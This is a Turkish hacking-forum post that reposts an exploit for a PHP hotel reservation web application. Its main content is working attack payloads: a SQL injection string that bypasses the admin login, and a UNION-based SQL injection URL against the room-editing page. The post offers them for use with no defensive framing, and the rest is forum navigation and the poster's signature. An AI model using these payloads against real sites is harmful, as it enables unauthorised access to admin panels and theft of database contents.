Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...


Simple Online Hotel Reservation System - SQL Injection / Authentication Bypass

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 28-02-2019 19:46   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
01/2019
Nereden
Ludas.py
Yaş
19
Mesajlar
Konular

Teşekkür (Etti): 26
Teşekkür (Aldı): 36


Simple Online Hotel Reservation System - SQL Injection / Authentication Bypass



# Exploit Title: Simple Online Hotel Reservation System - SQL Injection / Authentication Bypass # Exploit Author: Mr Winst0n

# Author E-mail: manamtabeshekan[@]gmail[.]com

# Discovery Date: February 25, 2019

# Vendor Homepage: https://code-projects.org/

# Software Link : https://code-projects.org/simple-online-hotel-reservation-system-in-php-with-source-code/

# Tested on: Kali linux, Windows 8.1







# PoC: # Authentication Bypass:





# Go to admin login page (http://localhost/[PATH]/admin/index.php), then use below payload as username and password => Username: ' or 1 -- - Password: ' or 1 -- -





# SQL Injection: # http://localhost/[PATH]/admin/edit_room.php?room_id=4 [SQLi]



# http://localhost/[PATH]/admin/edit_room.php?room_id=-4%27union%20select%201,2,3,4%20--%20-



Exploit : https://www.exploit-db.com/exploits/46461

################################################## ###########

Anlamadığınız noktalarda Ö.M. ile sorun lütfen, seve seve yardımcı olurum. İyi günler dilerim.

################################################## ###########



___________________________________________


|~ Yalnızlık olsun istediğin, uzaya mahkum ederim. ~|

Telegram ⋟ @Ludas_THT

|~ Vaktimiz doldu, artık gözlerin kapalı. ~|

Konu Ludas tarafından (28-02-2019 19:47 Saat 19:47 ) değiştirilmiştir..
 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau